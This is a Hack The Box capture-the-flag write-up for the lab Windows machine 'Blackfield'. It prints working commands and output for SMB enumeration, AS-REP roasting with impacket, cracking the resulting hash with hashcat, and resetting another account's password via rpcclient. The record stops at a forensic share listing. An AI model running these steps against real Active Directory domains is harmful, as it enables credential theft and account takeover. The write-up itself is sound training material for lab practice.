Blackfiled is a HTB active machine at present. This is completely based on enumeration which will lead our way in. This is one of the best windows machine I’ve enjoyed doing it.
| Blackfield | |
|---|---|
| OS: | Windows |
| Difficulty: | Hard |
| Points: | 40 |
| Release: | 06 Jun 2020 |
| IP: | 10.10.10.192 |
let’s start hacking into blackfiled
As always hacking starts with NMAP scan.
root@Ac3:~# nmap -O -A -T4 blackfiled.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-11 08:45 EDT
Nmap scan report for blackfiled.htb (10.10.10.192)
Host is up (0.19s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-07-11 19:49:04Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=7/11%Time=5F09B484%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h03m11s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-07-11T19:51:44
|_ start_date: N/A
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 185.74 ms 10.10.14.1
2 186.22 ms blackfiled.htb (10.10.10.192)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 224.21 seconds
SMB enumeration
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
Having a look in profiles$
root@Ac3:~# smbclient //10.10.10.192/profiles$
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 3 12:47:12 2020
.. D 0 Wed Jun 3 12:47:12 2020
AAlleni D 0 Wed Jun 3 12:47:11 2020
ABarteski D 0 Wed Jun 3 12:47:11 2020
ABekesz D 0 Wed Jun 3 12:47:11 2020
ABenzies D 0 Wed Jun 3 12:47:11 2020
ABiemiller D 0 Wed Jun 3 12:47:11 2020
AChampken D 0 Wed Jun 3 12:47:11 2020
ACheretei D 0 Wed Jun 3 12:47:11 2020
ACsonaki D 0 Wed Jun 3 12:47:11 2020
AHigchens D 0 Wed Jun 3 12:47:11 2020
AJaquemai D 0 Wed Jun 3 12:47:11 2020
AKlado D 0 Wed Jun 3 12:47:11 2020
AKoffenburger D 0 Wed Jun 3 12:47:11 2020
AKollolli D 0 Wed Jun 3 12:47:11 2020
AKruppe D 0 Wed Jun 3 12:47:11 2020
AKubale D 0 Wed Jun 3 12:47:11 2020
ALamerz D 0 Wed Jun 3 12:47:11 2020
AMaceldon D 0 Wed Jun 3 12:47:11 2020
AMasalunga D 0 Wed Jun 3 12:47:11 2020
ANavay D 0 Wed Jun 3 12:47:11 2020
ANesterova D 0 Wed Jun 3 12:47:11 2020
ANeusse D 0 Wed Jun 3 12:47:11 2020
AOkleshen D 0 Wed Jun 3 12:47:11 2020
APustulka D 0 Wed Jun 3 12:47:11 2020
ARotella D 0 Wed Jun 3 12:47:11 2020
ASanwardeker D 0 Wed Jun 3 12:47:11 2020
AShadaia D 0 Wed Jun 3 12:47:11 2020
ASischo D 0 Wed Jun 3 12:47:11 2020
ASpruce D 0 Wed Jun 3 12:47:11 2020
ATakach D 0 Wed Jun 3 12:47:11 2020
ATaueg D 0 Wed Jun 3 12:47:11 2020
ATwardowski D 0 Wed Jun 3 12:47:11 2020
audit2020 D 0 Wed Jun 3 12:47:11 2020
AWangenheim D 0 Wed Jun 3 12:47:11 2020
AWorsey D 0 Wed Jun 3 12:47:11 2020
AZigmunt D 0 Wed Jun 3 12:47:11 2020
BBakajza D 0 Wed Jun 3 12:47:11 2020
BBeloucif D 0 Wed Jun 3 12:47:11 2020
BCarmitcheal D 0 Wed Jun 3 12:47:11 2020
BConsultant D 0 Wed Jun 3 12:47:11 2020
BErdossy D 0 Wed Jun 3 12:47:11 2020
BGeminski D 0 Wed Jun 3 12:47:11 2020
BLostal D 0 Wed Jun 3 12:47:11 2020
BMannise D 0 Wed Jun 3 12:47:11 2020
BNovrotsky D 0 Wed Jun 3 12:47:11 2020
BRigiero D 0 Wed Jun 3 12:47:11 2020
BSamkoses D 0 Wed Jun 3 12:47:11 2020
BZandonella D 0 Wed Jun 3 12:47:11 2020
CAcherman D 0 Wed Jun 3 12:47:12 2020
CAkbari D 0 Wed Jun 3 12:47:12 2020
CAldhowaihi D 0 Wed Jun 3 12:47:12 2020
CArgyropolous D 0 Wed Jun 3 12:47:12 2020
CDufrasne D 0 Wed Jun 3 12:47:12 2020
CGronk D 0 Wed Jun 3 12:47:11 2020
Chiucarello D 0 Wed Jun 3 12:47:11 2020
Chiuccariello D 0 Wed Jun 3 12:47:12 2020
CHoytal D 0 Wed Jun 3 12:47:12 2020
CKijauskas D 0 Wed Jun 3 12:47:12 2020
CKolbo D 0 Wed Jun 3 12:47:12 2020
CMakutenas D 0 Wed Jun 3 12:47:12 2020
CMorcillo D 0 Wed Jun 3 12:47:11 2020
CSchandall D 0 Wed Jun 3 12:47:12 2020
CSelters D 0 Wed Jun 3 12:47:12 2020
CTolmie D 0 Wed Jun 3 12:47:12 2020
DCecere D 0 Wed Jun 3 12:47:12 2020
DChintalapalli D 0 Wed Jun 3 12:47:12 2020
DCwilich D 0 Wed Jun 3 12:47:12 2020
DGarbatiuc D 0 Wed Jun 3 12:47:12 2020
DKemesies D 0 Wed Jun 3 12:47:12 2020
DMatuka D 0 Wed Jun 3 12:47:12 2020
DMedeme D 0 Wed Jun 3 12:47:12 2020
DMeherek D 0 Wed Jun 3 12:47:12 2020
DMetych D 0 Wed Jun 3 12:47:12 2020
DPaskalev D 0 Wed Jun 3 12:47:12 2020
DPriporov D 0 Wed Jun 3 12:47:12 2020
DRusanovskaya D 0 Wed Jun 3 12:47:12 2020
DVellela D 0 Wed Jun 3 12:47:12 2020
DVogleson D 0 Wed Jun 3 12:47:12 2020
DZwinak D 0 Wed Jun 3 12:47:12 2020
EBoley D 0 Wed Jun 3 12:47:12 2020
EEulau D 0 Wed Jun 3 12:47:12 2020
EFeatherling D 0 Wed Jun 3 12:47:12 2020
EFrixione D 0 Wed Jun 3 12:47:12 2020
EJenorik D 0 Wed Jun 3 12:47:12 2020
EKmilanovic D 0 Wed Jun 3 12:47:12 2020
ElKatkowsky D 0 Wed Jun 3 12:47:12 2020
EmaCaratenuto D 0 Wed Jun 3 12:47:12 2020
EPalislamovic D 0 Wed Jun 3 12:47:12 2020
EPryar D 0 Wed Jun 3 12:47:12 2020
ESachhitello D 0 Wed Jun 3 12:47:12 2020
ESariotti D 0 Wed Jun 3 12:47:12 2020
ETurgano D 0 Wed Jun 3 12:47:12 2020
EWojtila D 0 Wed Jun 3 12:47:12 2020
FAlirezai D 0 Wed Jun 3 12:47:12 2020
FBaldwind D 0 Wed Jun 3 12:47:12 2020
FBroj D 0 Wed Jun 3 12:47:12 2020
FDeblaquire D 0 Wed Jun 3 12:47:12 2020
FDegeorgio D 0 Wed Jun 3 12:47:12 2020
FianLaginja D 0 Wed Jun 3 12:47:12 2020
FLasokowski D 0 Wed Jun 3 12:47:12 2020
FPflum D 0 Wed Jun 3 12:47:12 2020
FReffey D 0 Wed Jun 3 12:47:12 2020
GaBelithe D 0 Wed Jun 3 12:47:12 2020
Gareld D 0 Wed Jun 3 12:47:12 2020
GBatowski D 0 Wed Jun 3 12:47:12 2020
GForshalger D 0 Wed Jun 3 12:47:12 2020
GGomane D 0 Wed Jun 3 12:47:12 2020
GHisek D 0 Wed Jun 3 12:47:12 2020
GMaroufkhani D 0 Wed Jun 3 12:47:12 2020
GMerewether D 0 Wed Jun 3 12:47:12 2020
GQuinniey D 0 Wed Jun 3 12:47:12 2020
GRoswurm D 0 Wed Jun 3 12:47:12 2020
GWiegard D 0 Wed Jun 3 12:47:12 2020
HBlaziewske D 0 Wed Jun 3 12:47:12 2020
HColantino D 0 Wed Jun 3 12:47:12 2020
HConforto D 0 Wed Jun 3 12:47:12 2020
HCunnally D 0 Wed Jun 3 12:47:12 2020
HGougen D 0 Wed Jun 3 12:47:12 2020
HKostova D 0 Wed Jun 3 12:47:12 2020
IChristijr D 0 Wed Jun 3 12:47:12 2020
IKoledo D 0 Wed Jun 3 12:47:12 2020
IKotecky D 0 Wed Jun 3 12:47:12 2020
ISantosi D 0 Wed Jun 3 12:47:12 2020
JAngvall D 0 Wed Jun 3 12:47:12 2020
JBehmoiras D 0 Wed Jun 3 12:47:12 2020
JDanten D 0 Wed Jun 3 12:47:12 2020
JDjouka D 0 Wed Jun 3 12:47:12 2020
JKondziola D 0 Wed Jun 3 12:47:12 2020
JLeytushsenior D 0 Wed Jun 3 12:47:12 2020
JLuthner D 0 Wed Jun 3 12:47:12 2020
JMoorehendrickson D 0 Wed Jun 3 12:47:12 2020
JPistachio D 0 Wed Jun 3 12:47:12 2020
JScima D 0 Wed Jun 3 12:47:12 2020
JSebaali D 0 Wed Jun 3 12:47:12 2020
JShoenherr D 0 Wed Jun 3 12:47:12 2020
JShuselvt D 0 Wed Jun 3 12:47:12 2020
KAmavisca D 0 Wed Jun 3 12:47:12 2020
KAtolikian D 0 Wed Jun 3 12:47:12 2020
KBrokinn D 0 Wed Jun 3 12:47:12 2020
KCockeril D 0 Wed Jun 3 12:47:12 2020
KColtart D 0 Wed Jun 3 12:47:12 2020
KCyster D 0 Wed Jun 3 12:47:12 2020
KDorney D 0 Wed Jun 3 12:47:12 2020
KKoesno D 0 Wed Jun 3 12:47:12 2020
KLangfur D 0 Wed Jun 3 12:47:12 2020
KMahalik D 0 Wed Jun 3 12:47:12 2020
KMasloch D 0 Wed Jun 3 12:47:12 2020
KMibach D 0 Wed Jun 3 12:47:12 2020
KParvankova D 0 Wed Jun 3 12:47:12 2020
KPregnolato D 0 Wed Jun 3 12:47:12 2020
KRasmor D 0 Wed Jun 3 12:47:12 2020
KShievitz D 0 Wed Jun 3 12:47:12 2020
KSojdelius D 0 Wed Jun 3 12:47:12 2020
KTambourgi D 0 Wed Jun 3 12:47:12 2020
KVlahopoulos D 0 Wed Jun 3 12:47:12 2020
KZyballa D 0 Wed Jun 3 12:47:12 2020
LBajewsky D 0 Wed Jun 3 12:47:12 2020
LBaligand D 0 Wed Jun 3 12:47:12 2020
LBarhamand D 0 Wed Jun 3 12:47:12 2020
LBirer D 0 Wed Jun 3 12:47:12 2020
LBobelis D 0 Wed Jun 3 12:47:12 2020
LChippel D 0 Wed Jun 3 12:47:12 2020
LChoffin D 0 Wed Jun 3 12:47:12 2020
LCominelli D 0 Wed Jun 3 12:47:12 2020
LDruge D 0 Wed Jun 3 12:47:12 2020
LEzepek D 0 Wed Jun 3 12:47:12 2020
LHyungkim D 0 Wed Jun 3 12:47:12 2020
LKarabag D 0 Wed Jun 3 12:47:12 2020
LKirousis D 0 Wed Jun 3 12:47:12 2020
LKnade D 0 Wed Jun 3 12:47:12 2020
LKrioua D 0 Wed Jun 3 12:47:12 2020
LLefebvre D 0 Wed Jun 3 12:47:12 2020
LLoeradeavilez D 0 Wed Jun 3 12:47:12 2020
LMichoud D 0 Wed Jun 3 12:47:12 2020
LTindall D 0 Wed Jun 3 12:47:12 2020
LYturbe D 0 Wed Jun 3 12:47:12 2020
MArcynski D 0 Wed Jun 3 12:47:12 2020
MAthilakshmi D 0 Wed Jun 3 12:47:12 2020
MAttravanam D 0 Wed Jun 3 12:47:12 2020
MBrambini D 0 Wed Jun 3 12:47:12 2020
MHatziantoniou D 0 Wed Jun 3 12:47:12 2020
MHoerauf D 0 Wed Jun 3 12:47:12 2020
MKermarrec D 0 Wed Jun 3 12:47:12 2020
MKillberg D 0 Wed Jun 3 12:47:12 2020
MLapesh D 0 Wed Jun 3 12:47:12 2020
MMakhsous D 0 Wed Jun 3 12:47:12 2020
MMerezio D 0 Wed Jun 3 12:47:12 2020
MNaciri D 0 Wed Jun 3 12:47:12 2020
MShanmugarajah D 0 Wed Jun 3 12:47:12 2020
MSichkar D 0 Wed Jun 3 12:47:12 2020
MTemko D 0 Wed Jun 3 12:47:12 2020
MTipirneni D 0 Wed Jun 3 12:47:12 2020
MTonuri D 0 Wed Jun 3 12:47:12 2020
MVanarsdel D 0 Wed Jun 3 12:47:12 2020
NBellibas D 0 Wed Jun 3 12:47:12 2020
NDikoka D 0 Wed Jun 3 12:47:12 2020
NGenevro D 0 Wed Jun 3 12:47:12 2020
NGoddanti D 0 Wed Jun 3 12:47:12 2020
NMrdirk D 0 Wed Jun 3 12:47:12 2020
NPulido D 0 Wed Jun 3 12:47:12 2020
NRonges D 0 Wed Jun 3 12:47:12 2020
NSchepkie D 0 Wed Jun 3 12:47:12 2020
NVanpraet D 0 Wed Jun 3 12:47:12 2020
OBelghazi D 0 Wed Jun 3 12:47:12 2020
OBushey D 0 Wed Jun 3 12:47:12 2020
OHardybala D 0 Wed Jun 3 12:47:12 2020
OLunas D 0 Wed Jun 3 12:47:12 2020
ORbabka D 0 Wed Jun 3 12:47:12 2020
PBourrat D 0 Wed Jun 3 12:47:12 2020
PBozzelle D 0 Wed Jun 3 12:47:12 2020
PBranti D 0 Wed Jun 3 12:47:12 2020
PCapperella D 0 Wed Jun 3 12:47:12 2020
PCurtz D 0 Wed Jun 3 12:47:12 2020
PDoreste D 0 Wed Jun 3 12:47:12 2020
PGegnas D 0 Wed Jun 3 12:47:12 2020
PMasulla D 0 Wed Jun 3 12:47:12 2020
PMendlinger D 0 Wed Jun 3 12:47:12 2020
PParakat D 0 Wed Jun 3 12:47:12 2020
PProvencer D 0 Wed Jun 3 12:47:12 2020
PTesik D 0 Wed Jun 3 12:47:12 2020
PVinkovich D 0 Wed Jun 3 12:47:12 2020
PVirding D 0 Wed Jun 3 12:47:12 2020
PWeinkaus D 0 Wed Jun 3 12:47:12 2020
RBaliukonis D 0 Wed Jun 3 12:47:12 2020
RBochare D 0 Wed Jun 3 12:47:12 2020
RKrnjaic D 0 Wed Jun 3 12:47:12 2020
RNemnich D 0 Wed Jun 3 12:47:12 2020
RPoretsky D 0 Wed Jun 3 12:47:12 2020
RStuehringer D 0 Wed Jun 3 12:47:12 2020
RSzewczuga D 0 Wed Jun 3 12:47:12 2020
RVallandas D 0 Wed Jun 3 12:47:12 2020
RWeatherl D 0 Wed Jun 3 12:47:12 2020
RWissor D 0 Wed Jun 3 12:47:12 2020
SAbdulagatov D 0 Wed Jun 3 12:47:12 2020
SAjowi D 0 Wed Jun 3 12:47:12 2020
SAlguwaihes D 0 Wed Jun 3 12:47:12 2020
SBonaparte D 0 Wed Jun 3 12:47:12 2020
SBouzane D 0 Wed Jun 3 12:47:12 2020
SChatin D 0 Wed Jun 3 12:47:12 2020
SDellabitta D 0 Wed Jun 3 12:47:12 2020
SDhodapkar D 0 Wed Jun 3 12:47:12 2020
SEulert D 0 Wed Jun 3 12:47:12 2020
SFadrigalan D 0 Wed Jun 3 12:47:12 2020
SGolds D 0 Wed Jun 3 12:47:12 2020
SGrifasi D 0 Wed Jun 3 12:47:12 2020
SGtlinas D 0 Wed Jun 3 12:47:12 2020
SHauht D 0 Wed Jun 3 12:47:12 2020
SHederian D 0 Wed Jun 3 12:47:12 2020
SHelregel D 0 Wed Jun 3 12:47:12 2020
SKrulig D 0 Wed Jun 3 12:47:12 2020
SLewrie D 0 Wed Jun 3 12:47:12 2020
SMaskil D 0 Wed Jun 3 12:47:12 2020
Smocker D 0 Wed Jun 3 12:47:12 2020
SMoyta D 0 Wed Jun 3 12:47:12 2020
SRaustiala D 0 Wed Jun 3 12:47:12 2020
SReppond D 0 Wed Jun 3 12:47:12 2020
SSicliano D 0 Wed Jun 3 12:47:12 2020
SSilex D 0 Wed Jun 3 12:47:12 2020
SSolsbak D 0 Wed Jun 3 12:47:12 2020
STousignaut D 0 Wed Jun 3 12:47:12 2020
support D 0 Wed Jun 3 12:47:12 2020
svc_backup D 0 Wed Jun 3 12:47:12 2020
SWhyte D 0 Wed Jun 3 12:47:12 2020
SWynigear D 0 Wed Jun 3 12:47:12 2020
TAwaysheh D 0 Wed Jun 3 12:47:12 2020
TBadenbach D 0 Wed Jun 3 12:47:12 2020
TCaffo D 0 Wed Jun 3 12:47:12 2020
TCassalom D 0 Wed Jun 3 12:47:12 2020
TEiselt D 0 Wed Jun 3 12:47:12 2020
TFerencdo D 0 Wed Jun 3 12:47:12 2020
TGaleazza D 0 Wed Jun 3 12:47:12 2020
TKauten D 0 Wed Jun 3 12:47:12 2020
TKnupke D 0 Wed Jun 3 12:47:12 2020
TLintlop D 0 Wed Jun 3 12:47:12 2020
TMusselli D 0 Wed Jun 3 12:47:12 2020
TOust D 0 Wed Jun 3 12:47:12 2020
TSlupka D 0 Wed Jun 3 12:47:12 2020
TStausland D 0 Wed Jun 3 12:47:12 2020
TZumpella D 0 Wed Jun 3 12:47:12 2020
UCrofskey D 0 Wed Jun 3 12:47:12 2020
UMarylebone D 0 Wed Jun 3 12:47:12 2020
UPyrke D 0 Wed Jun 3 12:47:12 2020
VBublavy D 0 Wed Jun 3 12:47:12 2020
VButziger D 0 Wed Jun 3 12:47:12 2020
VFuscca D 0 Wed Jun 3 12:47:12 2020
VLitschauer D 0 Wed Jun 3 12:47:12 2020
VMamchuk D 0 Wed Jun 3 12:47:12 2020
VMarija D 0 Wed Jun 3 12:47:12 2020
VOlaosun D 0 Wed Jun 3 12:47:12 2020
VPapalouca D 0 Wed Jun 3 12:47:12 2020
WSaldat D 0 Wed Jun 3 12:47:12 2020
WVerzhbytska D 0 Wed Jun 3 12:47:12 2020
WZelazny D 0 Wed Jun 3 12:47:12 2020
XBemelen D 0 Wed Jun 3 12:47:12 2020
XDadant D 0 Wed Jun 3 12:47:12 2020
XDebes D 0 Wed Jun 3 12:47:12 2020
XKonegni D 0 Wed Jun 3 12:47:12 2020
XRykiel D 0 Wed Jun 3 12:47:12 2020
YBleasdale D 0 Wed Jun 3 12:47:12 2020
YHuftalin D 0 Wed Jun 3 12:47:12 2020
YKivlen D 0 Wed Jun 3 12:47:12 2020
YKozlicki D 0 Wed Jun 3 12:47:12 2020
YNyirenda D 0 Wed Jun 3 12:47:12 2020
YPredestin D 0 Wed Jun 3 12:47:12 2020
YSeturino D 0 Wed Jun 3 12:47:12 2020
YSkoropada D 0 Wed Jun 3 12:47:12 2020
YVonebers D 0 Wed Jun 3 12:47:12 2020
YZarpentine D 0 Wed Jun 3 12:47:12 2020
ZAlatti D 0 Wed Jun 3 12:47:12 2020
ZKrenselewski D 0 Wed Jun 3 12:47:12 2020
ZMalaab D 0 Wed Jun 3 12:47:12 2020
ZMiick D 0 Wed Jun 3 12:47:12 2020
ZScozzari D 0 Wed Jun 3 12:47:12 2020
ZTimofeeff D 0 Wed Jun 3 12:47:12 2020
ZWausik D 0 Wed Jun 3 12:47:12 2020
7846143 blocks of size 4096. 3579546 blocks available
smb: \>
making a username list from the profiles
Copy the usernames to a file
users.txtand scan forKerberos tickets.
Getting Kerberos ticket
Using impacket GetNPUsers.py to get the kerberos ticket.
GetNPUsers.py blackfield.local/ -dc-ip blackfield.htb -usersfile users.txt -no-pass
After running impacket script we get the kerberos ticket of support.
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$support@BLACKFIELD.LOCAL:2ce9f8bdad0f788d565face046beea93$49841d0598a23eba7657d2eb175721e77936ef2f324308f887c0eaf9f64b6ffe070aeefe315c397f786ec32f0122bf9e111f26d55c7f3935e18a84e20912be112b4c652a03e046f9dfa55af35c5e8485297686d08572291ea3266b5a3143e0ce6aa5bd8d9d2486e29130a1c45092f1c1ac4df174eeea98a37e7f4202d18134d7ea8b8c335db352a8821c5d25ad03c51feb9b1d7a3bf3ae6494994d9d058acd742cbe68976c46772bd97a55f411f792f27dafe01528dc1c24b99bb345653db6b77625a781aa9f7f0db9429035afe6c20b0a959e5eafc4b9a70df78fe6eae3c01d2cd4899c1faec2fc4a0aed13e8c9445a196ab74d
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
Time to crack the hash.
we can user any hash cracker of our choice, here I’ve used hashcat to crack the hash.
hashcat.exe -m 18200 hash.txt D:\rockyou.txt
hashcat (v6.0.0) starting...
* Device #1: Unstable OpenCL driver detected!
This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.
* Device #3: CUDA SDK Toolkit installation NOT detected.
CUDA SDK Toolkit installation required for proper device support and utilization
Falling back to OpenCL Runtime
* Device #3: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL API (OpenCL 2.1 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) HD Graphics 530, skipped
* Device #2: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz, skipped
OpenCL API (OpenCL 1.2 CUDA 9.1.112) - Platform #2 [NVIDIA Corporation]
=======================================================================
* Device #3: GeForce GTX 950M, 3392/4096 MB (1024 MB allocatable), 5MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 151 MB
Dictionary cache built:
* Filename..: D:\rockyou.txt
* Passwords.: 14344394
* Bytes.....: 139921528
* Keyspace..: 14344387
* Runtime...: 2 secs
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password- and salt-length (typically down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$krb5asrep$23$support@BLACKFIELD.LOCAL:2ce9f8bdad0f788d565face046beea93$49841d0598a23eba7657d2eb175721e77936ef2f324308f887c0eaf9f64b6ffe070aeefe315c397f786ec32f0122bf9e111f26d55c7f3935e18a84e20912be112b4c652a03e046f9dfa55af35c5e8485297686d08572291ea3266b5a3143e0ce6aa5bd8d9d2486e29130a1c45092f1c1ac4df174eeea98a37e7f4202d18134d7ea8b8c335db352a8821c5d25ad03c51feb9b1d7a3bf3ae6494994d9d058acd742cbe68976c46772bd97a55f411f792f27dafe01528dc1c24b99bb345653db6b77625a781aa9f7f0db9429035afe6c20b0a959e5eafc4b9a70df78fe6eae3c01d2cd4899c1faec2fc4a0aed13e8c9445a196ab74d:#00^BlackKnight
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:2ce9f8bdad0f...6ab74d
Time.Started.....: Sat Jul 11 18:57:49 2020 (7 secs)
Time.Estimated...: Sat Jul 11 18:57:56 2020 (0 secs)
Guess.Base.......: File (D:\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........: 2173.1 kH/s (7.12ms) @ Accel:128 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14336000/14344387 (99.94%)
Rejected.........: 0/14336000 (0.00%)
Restore.Point....: 14295040/14344387 (99.66%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#3....: *toille*1410* -> #!kayla
Hardware.Mon.#3..: Temp: 54c Util: 47% Core: 928MHz Mem:2505MHz Bus:16
Started: Sat Jul 11 18:57:33 2020
Stopped: Sat Jul 11 18:57:57 2020
$krb5asrep$23$support@BLACKFIELD.LOCAL:2ce9f8bdad0f788d565face046beea93$49841d0598a23eba7657d2eb175721e77936ef2f324308f887c0eaf9f64b6ffe070aeefe315c397f786ec32f0122bf9e111f26d55c7f3935e18a84e20912be112b4c652a03e046f9dfa55af35c5e8485297686d08572291ea3266b5a3143e0ce6aa5bd8d9d2486e29130a1c45092f1c1ac4df174eeea98a37e7f4202d18134d7ea8b8c335db352a8821c5d25ad03c51feb9b1d7a3bf3ae6494994d9d058acd742cbe68976c46772bd97a55f411f792f27dafe01528dc1c24b99bb345653db6b77625a781aa9f7f0db9429035afe6c20b0a959e5eafc4b9a70df78fe6eae3c01d2cd4899c1faec2fc4a0aed13e8c9445a196ab74d:#00^BlackKnight
So the password of support is #00^BlackKnight
As I got the password of support I tried to login in via evil-winrm but no luck. Then I decided to use rpcclient to enumerate further.
rpcclient blackfield.htb -U support
Enter WORKGROUP\support's password:
rpcclient $>
rpcclient $> enumprivs
found 35 privileges
SeCreateTokenPrivilege 0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege 0:3 (0x0:0x3)
SeLockMemoryPrivilege 0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege 0:5 (0x0:0x5)
SeMachineAccountPrivilege 0:6 (0x0:0x6)
SeTcbPrivilege 0:7 (0x0:0x7)
SeSecurityPrivilege 0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 0:9 (0x0:0x9)
SeLoadDriverPrivilege 0:10 (0x0:0xa)
SeSystemProfilePrivilege 0:11 (0x0:0xb)
SeSystemtimePrivilege 0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege 0:14 (0x0:0xe)
SeCreatePagefilePrivilege 0:15 (0x0:0xf)
SeCreatePermanentPrivilege 0:16 (0x0:0x10)
SeBackupPrivilege 0:17 (0x0:0x11)
SeRestorePrivilege 0:18 (0x0:0x12)
SeShutdownPrivilege 0:19 (0x0:0x13)
SeDebugPrivilege 0:20 (0x0:0x14)
SeAuditPrivilege 0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege 0:22 (0x0:0x16)
SeChangeNotifyPrivilege 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege 0:24 (0x0:0x18)
SeUndockPrivilege 0:25 (0x0:0x19)
SeSyncAgentPrivilege 0:26 (0x0:0x1a)
SeEnableDelegationPrivilege 0:27 (0x0:0x1b)
SeManageVolumePrivilege 0:28 (0x0:0x1c)
SeImpersonatePrivilege 0:29 (0x0:0x1d)
SeCreateGlobalPrivilege 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege 0:31 (0x0:0x1f)
SeRelabelPrivilege 0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege 0:33 (0x0:0x21)
SeTimeZonePrivilege 0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege 0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege 0:36 (0x0:0x24)
Checking the privileges of support using rpcclient, I came to see that support can change the password of the other users.
This link can help in understanding this in more detail https://malicious.link/post/2017/reset-ad-user-password-with-linux/.
Using rpcclient to change the password of audit2020.
rpcclient $> setuserinfo2 audit2020 23 'Password@123'
So I’ve successfully changed the password of audit2020.
From the smb enumeration in the starting, there is a folder called forensic, with the help of user audit2020 I can see the things in it.
root@Ac3:~# smbclient //blackfield.htb/forensic -U audit2020
Enter WORKGROUP\audit2020's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 3821004 blocks available
smb: \>
As we can see that that thing works.
Checking Juicy Info
smb: \> cd commands_output
smb: \commands_output\> ls
. D 0 Sun Feb 23 13:14:37 2020
.. D 0 Sun Feb 23 13:14:37 2020
domain_admins.txt A 528 Sun Feb 23 08:00:19 2020
domain_groups.txt A 962 Sun Feb 23 07:51:52 2020
domain_users.txt A 16454 Fri Feb 28 17:32:17 2020
firewall_rules.txt A 518202 Sun Feb 23 07:53:58 2020
ipconfig.txt A 1782 Sun Feb 23 07:50:28 2020
netstat.txt A 3842 Sun Feb 23 07:51:01 2020
route.txt A 3976 Sun Feb 23 07:53:01 2020
systeminfo.txt A 4550 Sun Feb 23 07:56:59 2020
tasklist.txt A 9990 Sun Feb 23 07:54:29 2020
7846143 blocks of size 4096. 3821004 blocks available
